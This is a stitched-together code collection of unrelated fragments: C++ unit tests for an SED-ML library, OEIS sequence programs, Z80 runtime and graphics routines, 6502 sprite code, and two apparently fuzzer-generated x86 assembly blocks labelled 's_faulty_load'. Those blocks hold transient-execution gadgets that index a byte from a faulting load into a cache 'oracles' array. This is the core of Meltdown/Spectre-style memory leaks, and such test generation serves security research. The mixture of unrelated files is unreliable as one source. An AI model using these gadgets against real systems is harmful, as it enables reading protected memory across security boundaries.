RETURN_INTO_WSTRING(xdgid, c->xDataGeneratorID());
CPPUNIT_ASSERT(xdgid == L"X1");
}
//
// /**
// * The identifier of the Y-axis data generator.
// */
// attribute wstring yDataGeneratorID;
{
RETURN_INTO_WSTRING(ydgid, c->yDataGeneratorID());
CPPUNIT_ASSERT(ydgid == L"C1");
}
c->yDataGeneratorID(L"M1");
{
RETURN_INTO_WSTRING(ydgid, c->yDataGeneratorID());
CPPUNIT_ASSERT(ydgid == L"M1");
}
//
// /**
// * The X-axis data generator (if it can be found, otherwise
// * null).
// */
// attribute DataGenerator xDataGenerator;
RETURN_INTO_OBJREF(x1dg, iface::SProS::DataGenerator, c->xDataGenerator());
RETURN_INTO_WSTRING(x1dgn, x1dg->name());
CPPUNIT_ASSERT(x1dgn == L"X1");
//
// /**
// * The Y-axis data generator (if it can be found, otherwise
// * null).
// */
// attribute DataGenerator yDataGenerator;
RETURN_INTO_OBJREF(m1dg, iface::SProS::DataGenerator, c->yDataGenerator());
RETURN_INTO_WSTRING(m1dgn, m1dg->name());
CPPUNIT_ASSERT(m1dgn == L"M1");
c->xDataGenerator(m1dg);
c->yDataGenerator(x1dg);
RETURN_INTO_OBJREF(m1dg2, iface::SProS::DataGenerator, c->xDataGenerator());
RETURN_INTO_WSTRING(m1dg2n, m1dg2->name());
CPPUNIT_ASSERT(m1dg2n == L"M1");
RETURN_INTO_OBJREF(x1dg2, iface::SProS::DataGenerator, c->yDataGenerator());
RETURN_INTO_WSTRING(x1dg2n, x1dg2->name());
CPPUNIT_ASSERT(x1dg2n == L"X1");
// };
}
void
SProSTest::testSProSSurface()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement,
sb->parseSEDMLFromURI(L"sedml-example-1.xml", BASE_DIRECTORY));
RETURN_INTO_OBJREF(os, iface::SProS::OutputSet,
es->outputs());
RETURN_INTO_OBJREF(o1, iface::SProS::Output,
os->getOutputByIdentifier(L"plot2"));
DECLARE_QUERY_INTERFACE_OBJREF(p3d, o1, SProS::Plot3D);
CPPUNIT_ASSERT(p3d);
RETURN_INTO_OBJREF(ss, iface::SProS::SurfaceSet, p3d->surfaces());
// /**
// * A set of SEDML Surfaces.
// */
// interface SurfaceSet
// : CurveSet
// {
// /**
// * Iterates the surfaces in this set.
// */
// SurfaceIterator iterateSurfaces();
RETURN_INTO_OBJREF(si, iface::SProS::SurfaceIterator, ss->iterateSurfaces());
CPPUNIT_ASSERT(si);
// };
//
// /**
// * Allows SEDML Surfaces to be iterated.
// */
// interface SurfaceIterator
// : CurveIterator
// {
// /**
// * Fetches the next surface in the set, or null if there are no more.
// */
// Surface nextSurface();
RETURN_INTO_OBJREF(s, iface::SProS::Surface, si->nextSurface());
CPPUNIT_ASSERT(s);
// };
//
// /**
// * A SEDML Surface.
// */
// interface Surface
// : Curve
// {
// /**
// * If true, log the Z axis.
// */
// attribute boolean logZ;
CPPUNIT_ASSERT_EQUAL(true, s->logZ());
s->logZ(false);
CPPUNIT_ASSERT_EQUAL(false, s->logZ());
//
// /**
// * The identifier of the Z-axis data generator.
// */
// attribute wstring zDataGeneratorID;
RETURN_INTO_OBJREF(zdg1, iface::SProS::DataGenerator,
s->zDataGenerator());
{
RETURN_INTO_WSTRING(zdgid, s->zDataGeneratorID());
CPPUNIT_ASSERT(zdgid == L"M1");
}
s->zDataGeneratorID(L"X1");
{
RETURN_INTO_WSTRING(zdgid, s->zDataGeneratorID());
CPPUNIT_ASSERT(zdgid == L"X1");
}
//
// /**
// * The Z-axis data generator (if it can be found, otherwise
// * null).
// */
// attribute DataGenerator zDataGenerator;
RETURN_INTO_OBJREF(zdg2, iface::SProS::DataGenerator, s->zDataGenerator());
RETURN_INTO_WSTRING(zdg2n, zdg2->name());
CPPUNIT_ASSERT(zdg2n == L"X1");
s->zDataGenerator(zdg1);
RETURN_INTO_OBJREF(zdg3, iface::SProS::DataGenerator, s->zDataGenerator());
RETURN_INTO_WSTRING(zdg3n, zdg3->name());
CPPUNIT_ASSERT(zdg3n == L"M1");
// };
}
void
SProSTest::testSProSDataSet()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(es, iface::SProS::SEDMLElement,
sb->parseSEDMLFromURI(L"sedml-example-1.xml", BASE_DIRECTORY));
RETURN_INTO_OBJREF(os, iface::SProS::OutputSet,
es->outputs());
RETURN_INTO_OBJREF(o1, iface::SProS::Output,
os->getOutputByIdentifier(L"report1"));
DECLARE_QUERY_INTERFACE_OBJREF(r1, o1, SProS::Report);
CPPUNIT_ASSERT(r1);
RETURN_INTO_OBJREF(dss, iface::SProS::DataSetSet, r1->datasets());
// /**
// * A set of SEDML DataSets.
// */
// interface DataSetSet
// : NamedElementSet
// {
// /**
// * Iterates through the DataSets in this set.
// */
// DataSetIterator iterateDataSets();
RETURN_INTO_OBJREF(dsi, iface::SProS::DataSetIterator, dss->iterateDataSets());
// };
//
// /**
// * Allows SEDML DataSets to be iterated.
// */
// interface DataSetIterator
// : NamedElementIterator
// {
// /**
// * Fetches the next DataSet, or null if there are no more.
// */
// DataSet nextDataSet();
RETURN_INTO_OBJREF(ds, iface::SProS::DataSet, dsi->nextDataSet());
// };
// };
//
// /**
// * A SEDML DataSet.
// */
// interface DataSet
// : NamedElement
// {
// /**
// * The identifier of the data generator.
// */
// attribute wstring dataGeneratorID;
RETURN_INTO_WSTRING(dgid1, ds->dataGeneratorID());
CPPUNIT_ASSERT(dgid1 == L"time");
RETURN_INTO_OBJREF(dgorig, iface::SProS::DataGenerator, ds->dataGen());
ds->dataGeneratorID(L"X1");
RETURN_INTO_WSTRING(dgid2, ds->dataGeneratorID());
CPPUNIT_ASSERT(dgid2 == L"X1");
//
// /**
// * The data generator (if it can be found, otherwise
// * null). It must already be in the main set of
// * DataGenerators and have an ID.
// */
// attribute DataGenerator dataGen;
RETURN_INTO_OBJREF(dgx1, iface::SProS::DataGenerator, ds->dataGen());
RETURN_INTO_WSTRING(dgx1n, dgx1->name());
CPPUNIT_ASSERT(dgx1n == L"X1");
// };
//
}
void
SProSTest::testSProSOneStepSteadyState()
{
RETURN_INTO_OBJREF(sb, iface::SProS::Bootstrap,
CreateSProSBootstrap());
RETURN_INTO_OBJREF(sedml, iface::SProS::SEDMLElement,
sb->createEmptySEDML());
RETURN_INTO_OBJREF(oneStep, iface::SProS::OneStep,
sedml->createOneStep());
oneStep->step(1.0);
CPPUNIT_ASSERT_EQUAL(1.0, oneStep->step());
oneStep->step(2.5);
CPPUNIT_ASSERT_EQUAL(2.5, oneStep->step());
CPPUNIT_ASSERT(oneStep != NULL);
RETURN_INTO_OBJREF(steadyState, iface::SProS::SteadyState,
sedml->createSteadyState());
CPPUNIT_ASSERT(steadyState != NULL);
}
|
; A147809: Half the number of proper divisors (> 1) of n^2 + 1, i.e., tau(n^2 + 1)/2 - 1.
; Submitted by Jon Maiga
; 0,0,1,0,1,0,2,1,1,0,1,1,3,0,1,0,3,2,1,0,3,1,3,0,1,0,3,1,1,1,3,2,3,1,1,0,3,2,1,0,2,1,5,1,1,1,7,1,1,1,1,1,3,0,3,0,7,1,1,1,1,1,3,1,1,0,3,3,1,2,1,3,7,0,3,1,3,1,1,1,3,2,7,0,1,1,3,1,3,0,3,1,5,0,1,1,3,3,5,1
seq $0,147810 ; Half the number of divisors of n^2+1.
sub $0,1
|
; A310409: Coordination sequence Gal.3.19.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,4,10,14,20,24,28,34,38,44,48,52,58,62,68,72,76,82,86,92,96,100,106,110,116,120,124,130,134,140,144,148,154,158,164,168,172,178,182,188,192,196,202,206,212,216,220,226,230,236
mul $0,2
mov $1,$0
add $0,3
lpb $0,1
sub $0,1
trn $0,4
add $1,1
lpe
mul $1,2
trn $1,3
add $1,1
|
; A296083: a(1) = 0; for n > 1, a(n) = A039653(n) / gcd(A039653(n),A032741(n)).
; Submitted by Jon Maiga
; 0,2,3,3,5,11,7,14,6,17,11,27,13,23,23,15,17,38,19,41,31,35,23,59,15,41,13,11,29,71,31,62,47,53,47,45,37,59,55,89,41,95,43,83,77,71,47,41,28,92,71,97,53,17,71,17,79,89,59,167,61,95,103,21,83,143,67,25,95,143,71,194,73,113,123,139,95,167,79,185,30,125,83,223,107,131,119,179,89,233,37,167,127,143,119,251,97,34,31,27
add $0,1
mov $2,$0
lpb $0
add $1,$4
mov $3,$2
dif $3,$0
sub $0,1
cmp $3,$2
cmp $3,0
add $4,$3
lpe
add $4,$1
max $1,1
gcd $1,$4
div $4,$1
mov $0,$4
|
;
; Small C+ Runtime Library
;
; Random number generator for seed
; generic version,
;
; void randomize() - randomize the seed for rand()
;
; -----
; $Id: randomize.asm,v 1.7 2016/05/17 21:43:06 dom Exp $
SECTION code_clib
PUBLIC randomize
PUBLIC _randomize
EXTERN __stdseed
EXTERN cleanup
; you must declare an integer named "__stdseed" in your
; main.c file to hold the seed.
;
; int __stdseed;
.randomize
._randomize
ld hl,0
add hl,sp
call agarble
ld e,a
ld hl,cleanup ; we fall into the CRT0 stub
ld bc,1024
sbc hl,bc
call agarble
ld h,a
IF FORrcmx000
ld a,eir
ELSE
ld a,r
ENDIF
xor e
ld l,a
ld (__stdseed),hl
ret
.agarble
ld bc,$FF04
.sloop
add (hl)
inc hl
djnz sloop
dec c
jr nz,sloop
ret
|
; ===============================================================
; Mar 2014
; ===============================================================
;
; size_t b_vector_erase(b_vector_t *v, size_t idx)
;
; Remove char at vector.data[idx] and return index of char
; that follows the one removed.
;
; ===============================================================
SECTION code_adt_b_vector
PUBLIC asm_b_vector_erase
EXTERN asm_b_array_erase
defc asm_b_vector_erase = asm_b_array_erase
; enter : hl = vector *
; bc = idx
;
; exit : success
;
; de = & vector.data[idx]
; hl = idx = idx of char following the one removed
; carry reset
;
; fail if idx outside vector.data
;
; hl = -1
; carry set
;
; uses : af, bc, de, hl
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %rax
push %rbx
lea addresses_WT_ht+0x17adb, %r14
clflush (%r14)
nop
nop
nop
nop
sub %rbx, %rbx
mov (%r14), %rax
nop
nop
nop
sub $17945, %r12
pop %rbx
pop %rax
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_normal+0x16bcb, %rbx
nop
nop
nop
nop
nop
xor %rcx, %rcx
mov $0x5152535455565758, %r15
movq %r15, (%rbx)
dec %rsi
// Store
lea addresses_PSE+0x4aeb, %rbp
nop
nop
nop
inc %rdi
mov $0x5152535455565758, %rsi
movq %rsi, %xmm3
movups %xmm3, (%rbp)
nop
xor $28013, %rbx
// Load
lea addresses_WT+0xacdd, %rbx
nop
nop
nop
sub %rcx, %rcx
movups (%rbx), %xmm1
vpextrq $0, %xmm1, %r8
nop
nop
nop
nop
nop
xor %rbx, %rbx
// Store
lea addresses_PSE+0x101cb, %rcx
clflush (%rcx)
nop
nop
and $14626, %r15
mov $0x5152535455565758, %rbp
movq %rbp, (%rcx)
nop
cmp $26274, %rcx
// Load
lea addresses_A+0x135cb, %rbp
nop
nop
nop
cmp %r15, %r15
mov (%rbp), %rsi
nop
cmp $34736, %rbp
// Store
lea addresses_WT+0xbe0b, %rdi
nop
nop
xor %r8, %r8
movl $0x51525354, (%rdi)
nop
sub $20766, %rbp
// Store
lea addresses_WT+0x470b, %rbp
nop
nop
nop
nop
nop
add %r15, %r15
mov $0x5152535455565758, %rbx
movq %rbx, %xmm7
movups %xmm7, (%rbp)
nop
nop
nop
nop
cmp $6854, %r15
// Faulty Load
lea addresses_PSE+0x179cb, %rbp
nop
add %r15, %r15
mov (%rbp), %r8d
lea oracles, %rbx
and $0xff, %r8
shlq $12, %r8
mov (%rbx,%r8,1), %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_normal', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 16}}
{'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WT', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 8}}
{'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_A', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WT', 'AVXalign': False, 'size': 4}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WT', 'AVXalign': False, 'size': 16}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': True, 'size': 4}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
; A187508: Number of 3-step S, E, and NW-moving king's tours on an n X n board summed over all starting positions
; 0,6,31,74,135,214,311,426,559,710,879,1066,1271,1494,1735,1994,2271,2566,2879,3210,3559,3926,4311,4714,5135,5574,6031,6506,6999,7510,8039,8586,9151,9734,10335,10954,11591,12246,12919,13610,14319,15046,15791,16554,17335,18134,18951,19786,20639,21510
mul $0,9
sub $0,1
pow $0,2
sub $0,9
div $0,9
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x124fd, %rsi
clflush (%rsi)
nop
nop
xor $53518, %rax
and $0xffffffffffffffc0, %rsi
movaps (%rsi), %xmm7
vpextrq $1, %xmm7, %rbx
nop
nop
nop
xor %rbp, %rbp
lea addresses_WC_ht+0xc75d, %r10
and $15610, %rax
mov $0x6162636465666768, %rbx
movq %rbx, (%r10)
nop
nop
nop
dec %rbx
lea addresses_A_ht+0xc2fd, %rsi
lea addresses_D_ht+0xfb7d, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
sub %r13, %r13
mov $71, %rcx
rep movsl
nop
nop
cmp $21234, %rbx
lea addresses_WT_ht+0x1335d, %rbx
nop
nop
nop
xor $14578, %rsi
movw $0x6162, (%rbx)
nop
cmp %rbx, %rbx
lea addresses_WC_ht+0x15801, %r13
nop
nop
nop
nop
nop
and $53759, %rax
mov (%r13), %bx
nop
nop
cmp %rdi, %rdi
lea addresses_normal_ht+0xe35d, %rdi
nop
nop
nop
xor %rbp, %rbp
mov $0x6162636465666768, %rbx
movq %rbx, %xmm5
movups %xmm5, (%rdi)
sub %r13, %r13
lea addresses_A_ht+0x17ffd, %rsi
lea addresses_UC_ht+0xbd5d, %rdi
add %rax, %rax
mov $14, %rcx
rep movsb
nop
add %rdi, %rdi
lea addresses_normal_ht+0x1235d, %rdi
sub %rbx, %rbx
mov $0x6162636465666768, %rbp
movq %rbp, %xmm7
movups %xmm7, (%rdi)
nop
nop
nop
inc %rax
lea addresses_D_ht+0x371d, %rdi
nop
nop
nop
nop
cmp %r10, %r10
movb (%rdi), %cl
nop
nop
nop
nop
nop
and %r13, %r13
lea addresses_UC_ht+0xa355, %r13
nop
nop
xor %rcx, %rcx
vmovups (%r13), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %rax
nop
nop
nop
nop
add $65246, %rbp
lea addresses_WT_ht+0x1a03d, %rsi
lea addresses_WC_ht+0x8f4d, %rdi
nop
nop
add %rbp, %rbp
mov $28, %rcx
rep movsb
nop
nop
nop
xor %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_UC+0x175d, %rsi
lea addresses_A+0x3b5d, %rdi
dec %r14
mov $3, %rcx
rep movsl
cmp $43141, %r14
// Store
lea addresses_D+0x75d, %rax
add $11736, %r14
mov $0x5152535455565758, %rbp
movq %rbp, %xmm0
movups %xmm0, (%rax)
nop
nop
nop
nop
cmp %rsi, %rsi
// Store
lea addresses_WC+0x1a375, %rax
nop
sub %rbx, %rbx
mov $0x5152535455565758, %r14
movq %r14, %xmm6
movntdq %xmm6, (%rax)
xor $11508, %r14
// Store
lea addresses_US+0x1e45d, %rbx
nop
xor %rcx, %rcx
mov $0x5152535455565758, %r14
movq %r14, %xmm1
movups %xmm1, (%rbx)
nop
xor %rsi, %rsi
// Store
lea addresses_US+0x676b, %rcx
nop
nop
nop
xor $18527, %r14
mov $0x5152535455565758, %rbp
movq %rbp, %xmm4
vmovntdq %ymm4, (%rcx)
nop
nop
sub $17059, %rcx
// Store
lea addresses_UC+0x7b5d, %r14
nop
nop
nop
add $63962, %rcx
movl $0x51525354, (%r14)
// Exception!!!
mov (0), %rsi
nop
nop
nop
nop
xor %rax, %rax
// Store
lea addresses_US+0x41dd, %rcx
nop
nop
nop
add %rsi, %rsi
movb $0x51, (%rcx)
nop
nop
nop
nop
nop
sub $16258, %rsi
// Store
lea addresses_WC+0xc9dd, %rdi
nop
dec %rcx
mov $0x5152535455565758, %r14
movq %r14, %xmm0
vmovaps %ymm0, (%rdi)
nop
nop
nop
sub $14277, %rbp
// Faulty Load
lea addresses_A+0x3b5d, %rcx
nop
nop
nop
nop
dec %rdi
vmovups (%rcx), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %rbp
lea oracles, %r14
and $0xff, %rbp
shlq $12, %rbp
mov (%r14,%rbp,1), %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A', 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': True, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}}
[Faulty Load]
{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 10}}
{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 5}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 11}}
{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 11}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 3}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}}
{'00': 1}
00
*/
|
INCLUDE "graphics/grafix.inc"
SECTION code_clib
PUBLIC Line
EXTERN Line_r
EXTERN __gfx_coords
;
; $Id: line.asm,v 1.7 2016-07-02 09:01:35 dom Exp $
;
; ******************************************************************************
;
; Draw a pixel line from (x0,y0) defined (H,L) - the starting point coordinate,
; to the end point (x1,y1).
;
; Design & programming by Gunther Strube, Copyright (C) InterLogic 1995
;
; The routine checks the range of specified coordinates which is the boundaries
; of the graphics area (256x64 pixels).
; If a boundary error occurs the routine exits automatically. This may be
; useful if you are trying to draw a line longer than allowed or outside the
; graphics borders. Only the visible part will be drawn.
;
; Ths standard origin (0,0) is at the top left corner.
;
; The plot routine is defined by an address pointer in IX.
; This routine converts the absolute coordinates to a relative distance as (dx,dy)
; defining (COORDS) with (x0,y0) and a distance in (dx,dy). The drawing is then
; executed by Line_r
;
; IN: HL = (x0,y0) - x0 range is 0 to 255, y0 range is 0 to 63.
; DE = (x1,y1) - x1 range is 0 to 255, y1 range is 0 to 63.
; IX = pointer to plot routine that uses HL = (x,y) of plot coordinate.
;
; OUT: None.
;
; Registers changed after return:
; ..BCDEHL/IXIY/af...... same
; AF....../..../..bcdehl different
;
.Line push de
push hl
IF maxx <> 256
ld a,h
cp maxx
jr nc, exit_line ; x0 coordinate out of range
ld a,d
cp maxx
jr nc, exit_line ; x1 coordinate out of range
ENDIF
ld a,l
cp maxy
jr nc, exit_line ; y0 coordinate out of range
ld a,e
cp maxy
jr nc, exit_line ; y1 coordinate out of range
ld (__gfx_coords),hl ; the starting point is now default
push hl
push de
ld l,h ; L = x0
ld h,d ; H = x1
call distance ; x1 - x0 horisontal distance in HL
pop de
ex (sp),hl ; L = y0
ld h,e ; H = y1
call distance ; y1 - y0 vertical distance in HL
pop de
ex de,hl ; h.dist. = HL, v.dist. = DE
call Line_r ; draw line...
.exit_line pop hl
pop de
ret
; ***************************************************************************
;
; calculate distance
; IN: H = destination point
; L = source point
;
; OUT: h - l distance in HL
;
.distance ld a,h
sub l
ld l,a
ld h,0
ret nc
ld h,-1
ret
|
; sub routine that converts the sprite's
; tile position to an actual
; location on the screen
convert_tile_location:
ldx player_y
lda tile_convert_table, x
sec
sbc #$01
cmp #$FF ; if y location is FF we set it to 0
bne @not_ff
lda #$00
@not_ff:
sta sprite_data
ldx player_x
lda tile_convert_table, x
clc
adc #$00
sta sprite_data+3
; check game mode
lda game_mode
cmp #GAME_MODE_EDITOR
bne @done
; if editor mode also update sprites 1-5
ldx player_y
lda attr_convert_table, x
tax
lda tile_convert_table, x
sec
sbc #$01
cmp #$FF
bne @not_ff_editor
lda #$00
@not_ff_editor:
sta sprite_data_1
sta sprite_data_2
clc
adc #$8*3
sta sprite_data_3
sta sprite_data_4
ldx player_x
lda attr_convert_table, x
tax
lda tile_convert_table, x
sta sprite_data_1+3
sta sprite_data_3+3
clc
adc #$8*3
sta sprite_data_2+3
sta sprite_data_4+3
@done:
rts
; this sub routine applies smooth scrolling
; to sprite 0
; inputs:
; smooth_up,_down,_left,_right
; side effects:
; changes position of sprite 0
; overwirtes a and carry flag
apply_smooth:
lda sprite_data
sec
sbc smooth_down
clc
adc smooth_up
sta sprite_data
lda sprite_data+3
sec
sbc smooth_right
clc
adc smooth_left
sta sprite_data+3
rts
; this sub routine decrements all
; smooth movement values if they are greater than 0
; inputs:
; smooth up, down, left, right
; side effects:
; a register and carry flag are modified
; smooth_x values may be decremented
adjust_smooth:
; dec smooht values
lda #$00
cmp smooth_left
beq @no_dec_left
dec smooth_left
@no_dec_left:
cmp smooth_right
beq @no_dec_right
dec smooth_right
@no_dec_right:
cmp smooth_up
beq @no_dec_up
dec smooth_up
@no_dec_up:
cmp smooth_down
beq @no_dec_down
dec smooth_down
@no_dec_down:
rts
; this sub routine copies memory from one
; location to another
; inputs:
; y -> size
; src_ptr -> original data
; dest_ptr -> destination
; side effects:
; y is changed, data is written at dest_ptr
memcpy:
dey
@loop:
lda (src_ptr), y
sta (dest_ptr), y
dey
cpy #$FF ; if underflow stop
bne @loop
rts
; this sub routine sets memory of size
; to a certain value
; inputs:
; y -> size
; dest_ptr -> destination
; side effects:
; y is changed
memset:
dey
@loop:
sta (dest_ptr), y
dey
cpy #$FF ; if underflow stop
bne @loop
rts
